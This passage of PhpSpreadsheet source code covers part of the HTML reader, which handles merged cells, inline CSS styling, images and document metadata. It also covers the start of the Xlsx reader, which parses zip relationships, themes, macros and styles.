$sheet->mergeCells($range); $column = $columnTo; } elseif (isset($attributeArray['rowspan'])) { //create merging rowspan $range = $column . $row . ':' . $column . ($row + (int) $attributeArray['rowspan'] - 1); foreach (Coordinate::extractAllCellReferencesInRange($range) as $value) { $this->rowspan[$value] = true; } $sheet->mergeCells($range); } elseif (isset($attributeArray['colspan'])) { //create merging colspan $columnTo = $column; for ($i = 0; $i < (int) $attributeArray['colspan'] - 1; ++$i) { ++$columnTo; } $sheet->mergeCells($column . $row . ':' . $columnTo . $row); $column = $columnTo; } ++$column; } protected function processDomElement(DOMNode $element, Worksheet $sheet, int &$row, string &$column, string &$cellContent): void { foreach ($element->childNodes as $child) { if ($child instanceof DOMText) { $domText = (string) preg_replace('/\s+/u', ' ', trim($child->nodeValue ?? '')); if (is_string($cellContent)) { // simply append the text if the cell content is a plain text string $cellContent .= $domText; } // but if we have a rich text run instead, we need to append it correctly // TODO } elseif ($child instanceof DOMElement) { $this->processDomElementBody($sheet, $row, $column, $cellContent, $child); } } } /** * Loads PhpSpreadsheet from file into PhpSpreadsheet instance. */ public function loadIntoExisting(string $filename, Spreadsheet $spreadsheet): Spreadsheet { // Validate if (!$this->canRead($filename)) { throw new Exception($filename . ' is an Invalid HTML file.'); } // Create a new DOM object $dom = new DOMDocument(); // Reload the HTML file into the DOM object try { $convert = $this->getSecurityScannerOrThrow()->scanFile($filename); $convert = self::replaceNonAsciiIfNeeded($convert); $loaded = ($convert === null) ? false : $dom->loadHTML($convert); } catch (Throwable $e) { $loaded = false; } if ($loaded === false) { throw new Exception('Failed to load ' . $filename . ' as a DOM Document', 0, $e ?? null); } self::loadProperties($dom, $spreadsheet); return $this->loadDocument($dom, $spreadsheet); } private static function loadProperties(DOMDocument $dom, Spreadsheet $spreadsheet): void { $properties = $spreadsheet->getProperties(); foreach ($dom->getElementsByTagName('meta') as $meta) { $metaContent = (string) $meta->getAttribute('content'); if ($metaContent !== '') { $metaName = (string) $meta->getAttribute('name'); switch ($metaName) { case 'author': $properties->setCreator($metaContent); break; case 'category': $properties->setCategory($metaContent); break; case 'company': $properties->setCompany($metaContent); break; case 'created': $properties->setCreated($metaContent); break; case 'description': $properties->setDescription($metaContent); break; case 'keywords': $properties->setKeywords($metaContent); break; case 'lastModifiedBy': $properties->setLastModifiedBy($metaContent); break; case 'manager': $properties->setManager($metaContent); break; case 'modified': $properties->setModified($metaContent); break; case 'subject': $properties->setSubject($metaContent); break; case 'title': $properties->setTitle($metaContent); break; case 'viewport': $properties->setViewport($metaContent); break; default: if (preg_match('/^custom[.](bool|date|float|int|string)[.](.+)$/', $metaName, $matches) === 1) { match ($matches[1]) { 'bool' => $properties->setCustomProperty($matches[2], (bool) $metaContent, Properties::PROPERTY_TYPE_BOOLEAN), 'float' => $properties->setCustomProperty($matches[2], (float) $metaContent, Properties::PROPERTY_TYPE_FLOAT), 'int' => $properties->setCustomProperty($matches[2], (int) $metaContent, Properties::PROPERTY_TYPE_INTEGER), 'date' => $properties->setCustomProperty($matches[2], $metaContent, Properties::PROPERTY_TYPE_DATE), // string default => $properties->setCustomProperty($matches[2], $metaContent, Properties::PROPERTY_TYPE_STRING), }; } } } } if (!empty($dom->baseURI)) { $properties->setHyperlinkBase($dom->baseURI); } } private static function replaceNonAscii(array $matches): string { return '&#' . mb_ord($matches[0], 'UTF-8') . ';'; } private static function replaceNonAsciiIfNeeded(string $convert): ?string { if (preg_match(self::STARTS_WITH_BOM, $convert) !== 1 && preg_match(self::DECLARES_CHARSET, $convert) !== 1) { $lowend = "\u{80}"; $highend = "\u{10ffff}"; $regexp = "/[$lowend-$highend]/u"; /** @var callable $callback */ $callback = [self::class, 'replaceNonAscii']; $convert = preg_replace_callback($regexp, $callback, $convert); } return $convert; } /** * Spreadsheet from content. */ public function loadFromString(string $content, ?Spreadsheet $spreadsheet = null): Spreadsheet { // Create a new DOM object $dom = new DOMDocument(); // Reload the HTML file into the DOM object try { $convert = $this->getSecurityScannerOrThrow()->scan($content); $convert = self::replaceNonAsciiIfNeeded($convert); $loaded = ($convert === null) ? false : $dom->loadHTML($convert); } catch (Throwable $e) { $loaded = false; } if ($loaded === false) { throw new Exception('Failed to load content as a DOM Document', 0, $e ?? null); } $spreadsheet = $spreadsheet ?? new Spreadsheet(); self::loadProperties($dom, $spreadsheet); return $this->loadDocument($dom, $spreadsheet); } /** * Loads PhpSpreadsheet from DOMDocument into PhpSpreadsheet instance. */ private function loadDocument(DOMDocument $document, Spreadsheet $spreadsheet): Spreadsheet { while ($spreadsheet->getSheetCount() <= $this->sheetIndex) { $spreadsheet->createSheet(); } $spreadsheet->setActiveSheetIndex($this->sheetIndex); // Discard white space $document->preserveWhiteSpace = false; $row = 0; $column = 'A'; $content = ''; $this->rowspan = []; $this->processDomElement($document, $spreadsheet->getActiveSheet(), $row, $column, $content); // Return return $spreadsheet; } /** * Get sheet index. */ public function getSheetIndex(): int { return $this->sheetIndex; } /** * Set sheet index. * * @param int $sheetIndex Sheet index * * @return $this */ public function setSheetIndex(int $sheetIndex): static { $this->sheetIndex = $sheetIndex; return $this; } /** * Apply inline css inline style. * * NOTES : * Currently only intended for td & th element, * and only takes 'background-color' and 'color'; property with HEX color * * TODO : * - Implement to other propertie, such as border */ private function applyInlineStyle(Worksheet &$sheet, int $row, string $column, array $attributeArray): void { if (!isset($attributeArray['style'])) { return; } if ($row <= 0 || $column === '') { $cellStyle = new Style(); } elseif (isset($attributeArray['rowspan'], $attributeArray['colspan'])) { $columnTo = $column; for ($i = 0; $i < (int) $attributeArray['colspan'] - 1; ++$i) { ++$columnTo; } $range = $column . $row . ':' . $columnTo . ($row + (int) $attributeArray['rowspan'] - 1); $cellStyle = $sheet->getStyle($range); } elseif (isset($attributeArray['rowspan'])) { $range = $column . $row . ':' . $column . ($row + (int) $attributeArray['rowspan'] - 1); $cellStyle = $sheet->getStyle($range); } elseif (isset($attributeArray['colspan'])) { $columnTo = $column; for ($i = 0; $i < (int) $attributeArray['colspan'] - 1; ++$i) { ++$columnTo; } $range = $column . $row . ':' . $columnTo . $row; $cellStyle = $sheet->getStyle($range); } else { $cellStyle = $sheet->getStyle($column . $row); } // add color styles (background & text) from dom element,currently support : td & th, using ONLY inline css style with RGB color $styles = explode(';', $attributeArray['style']); foreach ($styles as $st) { $value = explode(':', $st); $styleName = isset($value[0]) ? trim($value[0]) : null; $styleValue = isset($value[1]) ? trim($value[1]) : null; $styleValueString = (string) $styleValue; if (!$styleName) { continue; } switch ($styleName) { case 'background': case 'background-color': $styleColor = $this->getStyleColor($styleValueString); if (!$styleColor) { continue 2; } $cellStyle->applyFromArray(['fill' => ['fillType' => Fill::FILL_SOLID, 'color' => ['rgb' => $styleColor]]]); break; case 'color': $styleColor = $this->getStyleColor($styleValueString); if (!$styleColor) { continue 2; } $cellStyle->applyFromArray(['font' => ['color' => ['rgb' => $styleColor]]]); break; case 'border': $this->setBorderStyle($cellStyle, $styleValueString, 'allBorders'); break; case 'border-top': $this->setBorderStyle($cellStyle, $styleValueString, 'top'); break; case 'border-bottom': $this->setBorderStyle($cellStyle, $styleValueString, 'bottom'); break; case 'border-left': $this->setBorderStyle($cellStyle, $styleValueString, 'left'); break; case 'border-right': $this->setBorderStyle($cellStyle, $styleValueString, 'right'); break; case 'font-size': $cellStyle->getFont()->setSize( (float) $styleValue ); break; case 'font-weight': if ($styleValue === 'bold' || $styleValue >= 500) { $cellStyle->getFont()->setBold(true); } break; case 'font-style': if ($styleValue === 'italic') { $cellStyle->getFont()->setItalic(true); } break; case 'font-family': $cellStyle->getFont()->setName(str_replace('\'', '', $styleValueString)); break; case 'text-decoration': switch ($styleValue) { case 'underline': $cellStyle->getFont()->setUnderline(Font::UNDERLINE_SINGLE); break; case 'line-through': $cellStyle->getFont()->setStrikethrough(true); break; } break; case 'text-align': $cellStyle->getAlignment()->setHorizontal($styleValueString); break; case 'vertical-align': $cellStyle->getAlignment()->setVertical($styleValueString); break; case 'width': if ($column !== '') { $sheet->getColumnDimension($column)->setWidth( (new CssDimension($styleValue ?? ''))->width() ); } break; case 'height': if ($row > 0) { $sheet->getRowDimension($row)->setRowHeight( (new CssDimension($styleValue ?? ''))->height() ); } break; case 'word-wrap': $cellStyle->getAlignment()->setWrapText( $styleValue === 'break-word' ); break; case 'text-indent': $cellStyle->getAlignment()->setIndent( (int) str_replace(['px'], '', $styleValueString) ); break; } } } /** * Check if has #, so we can get clean hex. */ public function getStyleColor(?string $value): string { $value = (string) $value; if (str_starts_with($value, '#')) { return substr($value, 1); } return HelperHtml::colourNameLookup($value); } private function insertImage(Worksheet $sheet, string $column, int $row, array $attributes): void { if (!isset($attributes['src'])) { return; } $src = urldecode($attributes['src']); $width = isset($attributes['width']) ? (float) $attributes['width'] : null; $height = isset($attributes['height']) ? (float) $attributes['height'] : null; $name = $attributes['alt'] ?? null; $drawing = new Drawing(); $drawing->setPath($src); $drawing->setWorksheet($sheet); $drawing->setCoordinates($column . $row); $drawing->setOffsetX(0); $drawing->setOffsetY(10); $drawing->setResizeProportional(true); if ($name) { $drawing->setName($name); } if ($width) { $drawing->setWidth((int) $width); } if ($height) { $drawing->setHeight((int) $height); } $sheet->getColumnDimension($column)->setWidth( $drawing->getWidth() / 6 ); $sheet->getRowDimension($row)->setRowHeight( $drawing->getHeight() * 0.9 ); } private const BORDER_MAPPINGS = [ 'dash-dot' => Border::BORDER_DASHDOT, 'dash-dot-dot' => Border::BORDER_DASHDOTDOT, 'dashed' => Border::BORDER_DASHED, 'dotted' => Border::BORDER_DOTTED, 'double' => Border::BORDER_DOUBLE, 'hair' => Border::BORDER_HAIR, 'medium' => Border::BORDER_MEDIUM, 'medium-dashed' => Border::BORDER_MEDIUMDASHED, 'medium-dash-dot' => Border::BORDER_MEDIUMDASHDOT, 'medium-dash-dot-dot' => Border::BORDER_MEDIUMDASHDOTDOT, 'none' => Border::BORDER_NONE, 'slant-dash-dot' => Border::BORDER_SLANTDASHDOT, 'solid' => Border::BORDER_THIN, 'thick' => Border::BORDER_THICK, ]; public static function getBorderMappings(): array { return self::BORDER_MAPPINGS; } /** * Map html border style to PhpSpreadsheet border style. */ public function getBorderStyle(string $style): ?string { return self::BORDER_MAPPINGS[$style] ?? null; } private function setBorderStyle(Style $cellStyle, string $styleValue, string $type): void { if (trim($styleValue) === Border::BORDER_NONE) { $borderStyle = Border::BORDER_NONE; $color = null; } else { $borderArray = explode(' ', $styleValue); $borderCount = count($borderArray); if ($borderCount >= 3) { $borderStyle = $borderArray[1]; $color = $borderArray[2]; } else { $borderStyle = $borderArray[0]; $color = $borderArray[1] ?? null; } } $cellStyle->applyFromArray([ 'borders' => [ $type => [ 'borderStyle' => $this->getBorderStyle($borderStyle), 'color' => ['rgb' => $this->getStyleColor($color)], ], ], ]); } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { $info = []; $spreadsheet = new Spreadsheet(); $this->loadIntoExisting($filename, $spreadsheet); foreach ($spreadsheet->getAllSheets() as $sheet) { $newEntry = ['worksheetName' => $sheet->getTitle()]; $newEntry['lastColumnLetter'] = $sheet->getHighestDataColumn(); $newEntry['lastColumnIndex'] = Coordinate::columnIndexFromString($sheet->getHighestDataColumn()) - 1; $newEntry['totalRows'] = $sheet->getHighestDataRow(); $newEntry['totalColumns'] = $newEntry['lastColumnIndex'] + 1; $info[] = $newEntry; } $spreadsheet->disconnectWorksheets(); return $info; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Exception.php000064400000000253151676714400021120 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; class Exception extends PhpSpreadsheetException { } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Reader/Xlsx.php000064400000415312151676714400020126 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\DataType; use PhpOffice\PhpSpreadsheet\Cell\Hyperlink; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Reader\Security\XmlScanner; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\AutoFilter; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Chart; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\ColumnAndRowAttributes; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\ConditionalStyles; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\DataValidations; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Hyperlinks; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Namespaces; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\PageSetup; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Properties as PropertyReader; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\SharedFormula; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\SheetViewOptions; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\SheetViews; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Styles; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\TableReader; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\Theme; use PhpOffice\PhpSpreadsheet\Reader\Xlsx\WorkbookView; use PhpOffice\PhpSpreadsheet\ReferenceHelper; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Shared\Date; use PhpOffice\PhpSpreadsheet\Shared\Drawing; use PhpOffice\PhpSpreadsheet\Shared\File; use PhpOffice\PhpSpreadsheet\Shared\Font; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\Font as StyleFont; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\Style; use PhpOffice\PhpSpreadsheet\Worksheet\HeaderFooterDrawing; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use SimpleXMLElement; use Throwable; use XMLReader; use ZipArchive; class Xlsx extends BaseReader { const INITIAL_FILE = '_rels/.rels'; /** * ReferenceHelper instance. */ private ReferenceHelper $referenceHelper; private ZipArchive $zip; private Styles $styleReader; private array $sharedFormulae = []; /** * Create a new Xlsx Reader instance. */ public function __construct() { parent::__construct(); $this->referenceHelper = ReferenceHelper::getInstance(); $this->securityScanner = XmlScanner::getInstance($this); } /** * Can the current IReader read the file? */ public function canRead(string $filename): bool { if (!File::testFileNoThrow($filename, self::INITIAL_FILE)) { return false; } $result = false; $this->zip = $zip = new ZipArchive(); if ($zip->open($filename) === true) { [$workbookBasename] = $this->getWorkbookBaseName(); $result = !empty($workbookBasename); $zip->close(); } return $result; } public static function testSimpleXml(mixed $value): SimpleXMLElement { return ($value instanceof SimpleXMLElement) ? $value : new SimpleXMLElement('<?xml version="1.0" encoding="UTF-8"?><root></root>'); } public static function getAttributes(?SimpleXMLElement $value, string $ns = ''): SimpleXMLElement { return self::testSimpleXml($value === null ? $value : $value->attributes($ns)); } // Phpstan thinks, correctly, that xpath can return false. private static function xpathNoFalse(SimpleXMLElement $sxml, string $path): array { return self::falseToArray($sxml->xpath($path)); } public static function falseToArray(mixed $value): array { return is_array($value) ? $value : []; } private function loadZip(string $filename, string $ns = '', bool $replaceUnclosedBr = false): SimpleXMLElement { $contents = $this->getFromZipArchive($this->zip, $filename); if ($replaceUnclosedBr) { $contents = str_replace('<br>', '<br/>', $contents); } $rels = @simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($contents), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions(), $ns ); return self::testSimpleXml($rels); } // This function is just to identify cases where I'm not sure // why empty namespace is required. private function loadZipNonamespace(string $filename, string $ns): SimpleXMLElement { $contents = $this->getFromZipArchive($this->zip, $filename); $rels = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($contents), 'SimpleXMLElement', Settings::getLibXmlLoaderOptions(), ($ns === '' ? $ns : '') ); return self::testSimpleXml($rels); } private const REL_TO_MAIN = [ Namespaces::PURL_OFFICE_DOCUMENT => Namespaces::PURL_MAIN, Namespaces::THUMBNAIL => '', ]; private const REL_TO_DRAWING = [ Namespaces::PURL_RELATIONSHIPS => Namespaces::PURL_DRAWING, ]; private const REL_TO_CHART = [ Namespaces::PURL_RELATIONSHIPS => Namespaces::PURL_CHART, ]; /** * Reads names of the worksheets from a file, without parsing the whole file to a Spreadsheet object. */ public function listWorksheetNames(string $filename): array { File::assertFile($filename, self::INITIAL_FILE); $worksheetNames = []; $this->zip = $zip = new ZipArchive(); $zip->open($filename); // The files we're looking at here are small enough that simpleXML is more efficient than XMLReader $rels = $this->loadZip(self::INITIAL_FILE, Namespaces::RELATIONSHIPS); foreach ($rels->Relationship as $relx) { $rel = self::getAttributes($relx); $relType = (string) $rel['Type']; $mainNS = self::REL_TO_MAIN[$relType] ?? Namespaces::MAIN; if ($mainNS !== '') { $xmlWorkbook = $this->loadZip((string) $rel['Target'], $mainNS); if ($xmlWorkbook->sheets) { foreach ($xmlWorkbook->sheets->sheet as $eleSheet) { // Check if sheet should be skipped $worksheetNames[] = (string) self::getAttributes($eleSheet)['name']; } } } } $zip->close(); return $worksheetNames; } /** * Return worksheet info (Name, Last Column Letter, Last Column Index, Total Rows, Total Columns). */ public function listWorksheetInfo(string $filename): array { File::assertFile($filename, self::INITIAL_FILE); $worksheetInfo = []; $this->zip = $zip = new ZipArchive(); $zip->open($filename); $rels = $this->loadZip(self::INITIAL_FILE, Namespaces::RELATIONSHIPS); foreach ($rels->Relationship as $relx) { $rel = self::getAttributes($relx); $relType = (string) $rel['Type']; $mainNS = self::REL_TO_MAIN[$relType] ?? Namespaces::MAIN; if ($mainNS !== '') { $relTarget = (string) $rel['Target']; $dir = dirname($relTarget); $namespace = dirname($relType); $relsWorkbook = $this->loadZip("$dir/_rels/" . basename($relTarget) . '.rels', Namespaces::RELATIONSHIPS); $worksheets = []; foreach ($relsWorkbook->Relationship as $elex) { $ele = self::getAttributes($elex); if ( ((string) $ele['Type'] === "$namespace/worksheet") || ((string) $ele['Type'] === "$namespace/chartsheet") ) { $worksheets[(string) $ele['Id']] = $ele['Target']; } } $xmlWorkbook = $this->loadZip($relTarget, $mainNS); if ($xmlWorkbook->sheets) { $dir = dirname($relTarget); /** @var SimpleXMLElement $eleSheet */ foreach ($xmlWorkbook->sheets->sheet as $eleSheet) { $tmpInfo = [ 'worksheetName' => (string) self::getAttributes($eleSheet)['name'], 'lastColumnLetter' => 'A', 'lastColumnIndex' => 0, 'totalRows' => 0, 'totalColumns' => 0, ]; $fileWorksheet = (string) $worksheets[(string) self::getArrayItem(self::getAttributes($eleSheet, $namespace), 'id')]; $fileWorksheetPath = str_starts_with($fileWorksheet, '/') ? substr($fileWorksheet, 1) : "$dir/$fileWorksheet"; $xml = new XMLReader(); $xml->xml( $this->getSecurityScannerOrThrow()->scan( $this->getFromZipArchive($this->zip, $fileWorksheetPath) ), null, Settings::getLibXmlLoaderOptions() ); $xml->setParserProperty(2, true); $currCells = 0; while ($xml->read()) { if ($xml->localName == 'row' && $xml->nodeType == XMLReader::ELEMENT && $xml->namespaceURI === $mainNS) { $row = $xml->getAttribute('r'); $tmpInfo['totalRows'] = $row; $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $currCells = 0; } elseif ($xml->localName == 'c' && $xml->nodeType == XMLReader::ELEMENT && $xml->namespaceURI === $mainNS) { $cell = $xml->getAttribute('r'); $currCells = $cell ? max($currCells, Coordinate::indexesFromString($cell)[0]) : ($currCells + 1); } } $tmpInfo['totalColumns'] = max($tmpInfo['totalColumns'], $currCells); $xml->close(); $tmpInfo['lastColumnIndex'] = $tmpInfo['totalColumns'] - 1; $tmpInfo['lastColumnLetter'] = Coordinate::stringFromColumnIndex($tmpInfo['lastColumnIndex'] + 1); $worksheetInfo[] = $tmpInfo; } } } } $zip->close(); return $worksheetInfo; } private static function castToBoolean(SimpleXMLElement $c): bool { $value = isset($c->v) ? (string) $c->v : null; if ($value == '0') { return false; } elseif ($value == '1') { return true; } return (bool) $c->v; } private static function castToError(?SimpleXMLElement $c): ?string { return isset($c, $c->v) ? (string) $c->v : null; } private static function castToString(?SimpleXMLElement $c): ?string { return isset($c, $c->v) ? (string) $c->v : null; } private function castToFormula(?SimpleXMLElement $c, string $r, string &$cellDataType, mixed &$value, mixed &$calculatedValue, string $castBaseType, bool $updateSharedCells = true): void { if ($c === null) { return; } $attr = $c->f->attributes(); $cellDataType = DataType::TYPE_FORMULA; $value = "={$c->f}"; $calculatedValue = self::$castBaseType($c); // Shared formula? if (isset($attr['t']) && strtolower((string) $attr['t']) == 'shared') { $instance = (string) $attr['si']; if (!isset($this->sharedFormulae[(string) $attr['si']])) { $this->sharedFormulae[$instance] = new SharedFormula($r, $value); } elseif ($updateSharedCells === true) { // It's only worth the overhead of adjusting the shared formula for this cell if we're actually loading // the cell, which may not be the case if we're using a read filter. $master = Coordinate::indexesFromString($this->sharedFormulae[$instance]->master()); $current = Coordinate::indexesFromString($r); $difference = [0, 0]; $difference[0] = $current[0] - $master[0]; $difference[1] = $current[1] - $master[1]; $value = $this->referenceHelper->updateFormulaReferences($this->sharedFormulae[$instance]->formula(), 'A1', $difference[0], $difference[1]); } } } private function fileExistsInArchive(ZipArchive $archive, string $fileName = ''): bool { // Root-relative paths if (str_contains($fileName, '//')) { $fileName = substr($fileName, strpos($fileName, '//') + 1); } $fileName = File::realpath($fileName); // Sadly, some 3rd party xlsx generators don't use consistent case for filenaming // so we need to load case-insensitively from the zip file // Apache POI fixes $contents = $archive->locateName($fileName, ZipArchive::FL_NOCASE); if ($contents === false) { $contents = $archive->locateName(substr($fileName, 1), ZipArchive::FL_NOCASE); } return $contents !== false; } private function getFromZipArchive(ZipArchive $archive, string $fileName = ''): string { // Root-relative paths if (str_contains($fileName, '//')) { $fileName = substr($fileName, strpos($fileName, '//') + 1); } // Relative paths generated by dirname($filename) when $filename // has no path (i.e.files in root of the zip archive) $fileName = (string) preg_replace('/^\.\//', '', $fileName); $fileName = File::realpath($fileName); // Sadly, some 3rd party xlsx generators don't use consistent case for filenaming // so we need to load case-insensitively from the zip file $contents = $archive->getFromName($fileName, 0, ZipArchive::FL_NOCASE); // Apache POI fixes if ($contents === false) { $contents = $archive->getFromName(substr($fileName, 1), 0, ZipArchive::FL_NOCASE); } // Has the file been saved with Windoze directory separators rather than unix? if ($contents === false) { $contents = $archive->getFromName(str_replace('/', '\\', $fileName), 0, ZipArchive::FL_NOCASE); } return ($contents === false) ? '' : $contents; } /** * Loads Spreadsheet from file. */ protected function loadSpreadsheetFromFile(string $filename): Spreadsheet { File::assertFile($filename, self::INITIAL_FILE); // Initialisations $excel = new Spreadsheet(); $excel->removeSheetByIndex(0); $addingFirstCellStyleXf = true; $addingFirstCellXf = true; $unparsedLoadedData = []; $this->zip = $zip = new ZipArchive(); $zip->open($filename); // Read the theme first, because we need the colour scheme when reading the styles [$workbookBasename, $xmlNamespaceBase] = $this->getWorkbookBaseName(); $drawingNS = self::REL_TO_DRAWING[$xmlNamespaceBase] ?? Namespaces::DRAWINGML; $chartNS = self::REL_TO_CHART[$xmlNamespaceBase] ?? Namespaces::CHART; $wbRels = $this->loadZip("xl/_rels/{$workbookBasename}.rels", Namespaces::RELATIONSHIPS); $theme = null; $this->styleReader = new Styles(); foreach ($wbRels->Relationship as $relx) { $rel = self::getAttributes($relx); $relTarget = (string) $rel['Target']; if (str_starts_with($relTarget, '/xl/')) { $relTarget = substr($relTarget, 4); } switch ($rel['Type']) { case "$xmlNamespaceBase/theme": if (!$this->fileExistsInArchive($zip, "xl/{$relTarget}")) { break; // issue3770 } $themeOrderArray = ['lt1', 'dk1', 'lt2', 'dk2']; $themeOrderAdditional = count($themeOrderArray); $xmlTheme = $this->loadZip("xl/{$relTarget}", $drawingNS); $xmlThemeName = self::getAttributes($xmlTheme); $xmlTheme = $xmlTheme->children($drawingNS); $themeName = (string) $xmlThemeName['name']; $colourScheme = self::getAttributes($xmlTheme->themeElements->clrScheme); $colourSchemeName = (string) $colourScheme['name']; $excel->getTheme()->setThemeColorName($colourSchemeName); $colourScheme = $xmlTheme->themeElements->clrScheme->children($drawingNS); $themeColours = []; foreach ($colourScheme as $k => $xmlColour) { $themePos = array_search($k, $themeOrderArray); if ($themePos === false) { $themePos = $themeOrderAdditional++; } if (isset($xmlColour->sysClr)) { $xmlColourData = self::getAttributes($xmlColour->sysClr); $themeColours[$themePos] = (string) $xmlColourData['lastClr']; $excel->getTheme()->setThemeColor($k, (string) $xmlColourData['lastClr']); } elseif (isset($xmlColour->srgbClr)) { $xmlColourData = self::getAttributes($xmlColour->srgbClr); $themeColours[$themePos] = (string) $xmlColourData['val']; $excel->getTheme()->setThemeColor($k, (string) $xmlColourData['val']); } } $theme = new Theme($themeName, $colourSchemeName, $themeColours); $this->styleReader->setTheme($theme); $fontScheme = self::getAttributes($xmlTheme->themeElements->fontScheme); $fontSchemeName = (string) $fontScheme['name']; $excel->getTheme()->setThemeFontName($fontSchemeName); $majorFonts = []; $minorFonts = []; $fontScheme = $xmlTheme->themeElements->fontScheme->children($drawingNS); $majorLatin = self::getAttributes($fontScheme->majorFont->latin)['typeface'] ?? ''; $majorEastAsian = self::getAttributes($fontScheme->majorFont->ea)['typeface'] ?? ''; $majorComplexScript = self::getAttributes($fontScheme->majorFont->cs)['typeface'] ?? ''; $minorLatin = self::getAttributes($fontScheme->minorFont->latin)['typeface'] ?? ''; $minorEastAsian = self::getAttributes($fontScheme->minorFont->ea)['typeface'] ?? ''; $minorComplexScript = self::getAttributes($fontScheme->minorFont->cs)['typeface'] ?? ''; foreach ($fontScheme->majorFont->font as $xmlFont) { $fontAttributes = self::getAttributes($xmlFont); $script = (string) ($fontAttributes['script'] ?? ''); if (!empty($script)) { $majorFonts[$script] = (string) ($fontAttributes['typeface'] ?? ''); } } foreach ($fontScheme->minorFont->font as $xmlFont) { $fontAttributes = self::getAttributes($xmlFont); $script = (string) ($fontAttributes['script'] ?? ''); if (!empty($script)) { $minorFonts[$script] = (string) ($fontAttributes['typeface'] ?? ''); } } $excel->getTheme()->setMajorFontValues($majorLatin, $majorEastAsian, $majorComplexScript, $majorFonts); $excel->getTheme()->setMinorFontValues($minorLatin, $minorEastAsian, $minorComplexScript, $minorFonts); break; } } $rels = $this->loadZip(self::INITIAL_FILE, Namespaces::RELATIONSHIPS); $propertyReader = new PropertyReader($this->getSecurityScannerOrThrow(), $excel->getProperties()); $charts = $chartDetails = []; foreach ($rels->Relationship as $relx) { $rel = self::getAttributes($relx); $relTarget = (string) $rel['Target']; // issue 3553 if ($relTarget[0] === '/') { $relTarget = substr($relTarget, 1); } $relType = (string) $rel['Type']; $mainNS = self::REL_TO_MAIN[$relType] ?? Namespaces::MAIN; switch ($relType) { case Namespaces::CORE_PROPERTIES: $propertyReader->readCoreProperties($this->getFromZipArchive($zip, $relTarget)); break; case "$xmlNamespaceBase/extended-properties": $propertyReader->readExtendedProperties($this->getFromZipArchive($zip, $relTarget)); break; case "$xmlNamespaceBase/custom-properties": $propertyReader->readCustomProperties($this->getFromZipArchive($zip, $relTarget)); break; //Ribbon case Namespaces::EXTENSIBILITY: $customUI = $relTarget; if ($customUI) { $this->readRibbon($excel, $customUI, $zip); } break; case "$xmlNamespaceBase/officeDocument": $dir = dirname($relTarget); // Do not specify namespace in next stmt - do it in Xpath $relsWorkbook = $this->loadZip("$dir/_rels/" . basename($relTarget) . '.rels', Namespaces::RELATIONSHIPS); $relsWorkbook->registerXPathNamespace('rel', Namespaces::RELATIONSHIPS); $worksheets = []; $macros = $customUI = null; foreach ($relsWorkbook->Relationship as $elex) { $ele = self::getAttributes($elex); switch ($ele['Type']) { case Namespaces::WORKSHEET: case Namespaces::PURL_WORKSHEET: $worksheets[(string) $ele['Id']] = $ele['Target']; break; case Namespaces::CHARTSHEET: if ($this->includeCharts === true) { $worksheets[(string) $ele['Id']] = $ele['Target']; } break; // a vbaProject ? (: some macros) case Namespaces::VBA: $macros = $ele['Target']; break; } } if ($macros !== null) { $macrosCode = $this->getFromZipArchive($zip, 'xl/vbaProject.bin'); //vbaProject.bin always in 'xl' dir and always named vbaProject.bin if ($macrosCode !== false) { $excel->setMacrosCode($macrosCode); $excel->setHasMacros(true); //short-circuit : not reading vbaProject.bin.rel to get Signature =>allways vbaProjectSignature.bin in 'xl' dir $Certificate = $this->getFromZipArchive($zip, 'xl/vbaProjectSignature.bin'); if ($Certificate !== false) { $excel->setMacrosCertificate($Certificate); } } } $relType = "rel:Relationship[@Type='" . "$xmlNamespaceBase/styles" . "']"; $xpath = self::getArrayItem(self::xpathNoFalse($relsWorkbook, $relType)); if ($xpath === null) { $xmlStyles = self::testSimpleXml(null); } else { $stylesTarget = (string) $xpath['Target']; $stylesTarget = str_starts_with($stylesTarget, '/') ? substr($stylesTarget, 1) : "$dir/$stylesTarget"; $xmlStyles = $this->loadZip($stylesTarget, $mainNS); } $palette = self::extractPalette($xmlStyles); $this->styleReader->setWorkbookPalette($palette); $fills = self::extractStyles($xmlStyles, 'fills', 'fill'); $fonts = self::extractStyles($xmlStyles, 'fonts', 'font'); $borders = self::extractStyles($xmlStyles, 'borders', 'border'); $xfTags = self::extractStyles($xmlStyles, 'cellXfs', 'xf'); $cellXfTags = self::extractStyles($xmlStyles, 'cellStyleXfs', 'xf'); $styles = []; $cellStyles = []; $numFmts = null; if (/*$xmlStyles && */ $xmlStyles->numFmts[0]) { $numFmts = 